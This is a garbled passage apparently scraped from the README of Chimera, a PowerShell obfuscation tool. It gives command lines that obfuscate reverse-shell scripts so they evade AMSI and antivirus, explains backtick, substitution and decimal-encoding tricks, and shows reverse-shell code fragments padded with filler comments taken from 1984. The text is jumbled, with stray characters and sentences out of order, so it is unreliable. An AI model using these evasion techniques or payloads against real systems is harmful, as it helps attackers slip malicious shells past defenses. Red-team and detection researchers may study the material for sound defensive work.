chimera.sh -f shells/generic3.ps1 -l 1 -o /tmp/chimera.ps1 -v -t -c -i -h -s equals,split,getstream -b new-object -j -g -k -r -p chimera.sh -f shells/generic2.ps1 -l 1 -o /tmp/chimera.ps1 -v -t -c -i -h -s ,getstream -b invoke-expression,new-object -j -g -k -r -p chimera.sh -f shells/generic1.ps1 -l 2 -o /tmp/chimera.ps1 -v -t cmd.exe -c /tmp/harry_potter.txt -i -h -s getstream -b new-object -j -g -k -r -p # "cmd.exe" isn't a data type but when wrapped in double-quotes, this works # Sometimes, applying too many switches will break a script (I'm looking at you, -prepend). It doesn't have obfuscation down to an exact science like some other noteworthy projects. Always test payloads in a local lab before use, especially with -r.Ĭhimera isn't perfect. It's an anomaly that I haven't tried to resolve as it happens rarely. While character randomization does almost nothing to bypass AMSI, it helps when combined with other switches.īug: Randomization occasionally causes scripts to break.
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The -r option will randomize the character punctuations and is automatically applied with -d. It simultaneously increased the detection of antivirus scanners. BackticksĬonverting the payload to decimal format usually increased the likeliness of evading AMSI. To learn exactly what's triggering AMSI, see AMSITrigger. The highlighted strings aren't guaranteed to trigger AV. Generally, try obfuscating a string with -s. Some strings can't be backticked, others can't be substituted (it helps to know a little PowerShell here). Use -b new-object,invoke-expression -s getstream to backtick and substitute the strings, respectively. Notice new-object and getstream are highlighted in red. The generic2.ps1 provides an example of this. The -k switch will sometimes report strings like "new-object" and "getstream" that may trigger AV. Couple -b with -t to further obfuscate the chunks. Inserting backticks into strings is a common obfuscation trick. $buffer = new-object System.Byte 1024 Default
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# Even thinking rebellious thoughts is illegal. $writer = new-object System.IO.StreamWriter( $stream) # Currently, the Party is forcing the implementation of an invented language called Newspeak, which attempts to prevent political rebellion by eliminating all words related to it. # The Party controls everything in Oceania, even the people’s history and language. # Everywhere Winston goes, even his own home, the Party watches him through telescreens everywhere he looks he sees the face of the Party’s seemingly omniscient leader, a figure known only as Big Brother.
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# Winston Smith is a low-ranking member of the ruling Party in London, in the nation of Oceania.